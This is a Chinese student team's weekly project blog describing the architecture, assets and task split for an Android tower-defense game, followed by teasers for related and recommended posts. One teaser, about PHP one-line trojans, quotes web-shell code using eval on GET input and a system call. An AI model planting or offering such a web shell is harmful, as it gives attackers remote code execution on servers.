FromBottomToTop第十二周项目博客

本周项目计划

设计整体架构,收集素材,制作出静态界面部分

项目进展

  • 已完成游戏整体架构设计
  • 已完成游戏界面、背景音乐等素材的收集
  • 正在进行静态界面部分的制作

游戏整体架构

框架类及核心类

  • Activity的实现类MainGameActivity
  • Activity的实现类ListViewActivityStartGameActivity
  • Activity的实现类AboutGameActivityGuidanceActivity
  • 游戏的核心算法Game
  • 放置与升级炮塔的TowerAdderUpdate

    界面相关类

  • 游戏界面运行类GameSurfaceView
  • 游戏地图绘制类LBX
  • 游戏方法界面类GuidanceSurfaceView

    线程辅助类

  • DrawMonsterThread类
  • CreateMonster类
  • BulletRunThread类
  • MonsterRunThread类
  • UtilThread类

    接口及实体对象类

  • 接口BulletInterfaceCapabilityMonsterTower
  • Monster_LaserMonster_MissileMonster_Wave
  • Tower_LaserTower_MissileTower_ShellTower_Wave
  • Bullet_LaserBullet_MissileBullet_ShellBullet_Wave
  • Blood_DownBlood_UpGo_DirectionSpeed_UpSpeed_Down

    工具及常量类

  • 工具类UpdateBitmap、Sound
  • 常量类Constants、Map
  • 游戏自适应屏幕
  • 保存游戏类SerializableGame
  • 游戏的爆炸效果类Utils

游戏素材

已放入项目托管

成员贡献

胡东晖:本周负责了项目框架设计、素材收集、编写博客、以及部分界面代码编写
竺文君:本周负责了项目素材修改、静态页面的制作以及项目托管

计划相符情况

与项目周计划相符

改进措施

正在进行团队原型的制作,由于android项目的托管方式与java托管方式不太相同,也在逐步摸索当中。

项目托管地址

https://git.oschina.net/FromBottomToTop/Hexdefence

  • 参考资料

    • Android游戏开发大全(第3版) 人民邮电出版社 吴亚峰 苏亚光 于复兴 编箸

FromBottomToTop第十二周项目博客的更多相关文章

  1. FromBottomToTop第十一周项目博客

    FromBottomToTop第十一周项目博客 项目内容 塔防游戏 大体就是在地图上以合理阵型建设防御炮塔来阻止小怪进入我方阵地.玩家需用现有的金币进行炮台建设或升级,金币数可根据打怪个数增加.入侵的 ...

  2. FromBottomToTop第十三周项目博客

    FromBottomToTop第十三周项目博客 本周项目计划 完成游戏核心算法以及界面相关类和怪物类 项目进展 用户可选择游戏模式,共有20张不同的地图. 炮台的建立和升级. 小怪的路径算法. 参考资 ...

  3. 第十二次ScrumMeeting博客

    第十二次ScrumMeeting博客 本次会议于11月30日(四)22时整在3公寓725房间召开,持续35分钟. 与会人员:刘畅.辛德泰.张安澜.赵奕.方科栋. 1. 每个人的工作(有Issue的内容 ...

  4. 十二周项目三(4)——出口fibnacci第一序列20的数量

    /* * Copyright (c) 2014, 烟台大学计算机学院 * All rights reserved. * 文件名:test.cpp * 作者:陈丹妮 * 完毕日期:2014年 11 月 ...

  5. 第十二周项目一 教师兼干部类】 共建虚基类person

    项目1 - 教师兼干部类]分别定义Teacher(教师)类和Cadre(干部)类,采用多重继承方式由这两个类派生出新类Teacher_Cadre(教师兼干部).要求: (1)在两个基类中都包含姓名.年 ...

  6. 【Beta阶段】第十二周Scrum会议

    [Beta阶段]第十二周Scrum会议 本次会议为第十二周第一次Scrum Meeting,会议对Beta阶段工作进行了总结,针对Beta阶段还未完成的问题进行了讨论. 会议时间为2019.12.3. ...

  7. 第十二周博客作业 <西北师范大学| 周安伟>

    第十二周作业 助教博客链接https://home.cnblogs.com/u/zaw-315/ 作业要求链接https://www.cnblogs.com/nwnu-daizh/p/10831971 ...

  8. 20155320 2016-2017-2《Java程序设计》第十二周课堂实践项目

    20155320 2016-2017-2<Java程序设计>第十二周课堂实践项目 1.修改教材P98 Score2.java, 让执行结果数组填充是自己的学号: 2.在IDEA中以TDD的 ...

  9. 基于 abp vNext 和 .NET Core 开发博客项目 - 博客接口实战篇(二)

    系列文章 基于 abp vNext 和 .NET Core 开发博客项目 - 使用 abp cli 搭建项目 基于 abp vNext 和 .NET Core 开发博客项目 - 给项目瘦身,让它跑起来 ...

随机推荐

  1. C# Distinct使用,支持对象的相等比较

    官网Enumerable.Distinct https://msdn.microsoft.com/zh-cn/library/bb338049.aspx CSDN中作者oriency755 关于Dis ...

  2. linux 下配置vncserver

    vncserver是使用非常方便和广泛的远程桌面服务,配置也相对简单. 下面记录了在centos系统上进行配置vncserver的过程. 安装 查看centos下是否已经安装了vncserver rp ...

  3. c++ 重载、重写、重定义(隐藏)

    1.重载overload:函数名相同,参数列表不同. 重载只是在类的内部存在,或者同为全局范围.(同名,同参函数返回值不同时,会编译出错.因为系统无法知晓你到底要调用哪一个.)   2.重写overr ...

  4. PHP一句话木马小总结与SQL语句写一句话木马

    一.基础类的一句话--功能仅限于验证漏洞了,实际中太容易被查出出来: <?php @eval($_GET["code"])?> <?php @system($_P ...

  5. ios8 gps定位不好用

    这样让iOS8正常使用定位功能呢? <1>你需要在info.plist表里面添加两条变量 在Info.plist中加入两个缺省没有的字段 NSLocationAlwaysUsageDesc ...

  6. onethink----网站配置信息调用!

    {:C('WEB_SITE_TITLE')} // 标题 {:C('WEB_SITE_DESCRIPTION')} // 描述 {:C('WEB_SITE_KEYWORD')} // 关键词 {:C( ...

  7. 最大网络流(Dinic)

    hdu1532 Drainage Ditches Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java ...

  8. Python 中的map函数,filter函数,reduce函数

      自学python,很多地方都需要恶补.       三个函数比较类似,都是应用于序列的内置函数.常见的序列包括list.tuple.str.   1.map函数 map函数会根据提供的函数对指定序 ...

  9. mysql 内连接原理

  10. mysql修改端口经验

    mysql更改端口修改/etc/my.cnf添加port=3308修改后如下[mysqld]datadir=/var/lib/mysqlsocket=/var/lib/mysql/mysql.sock ...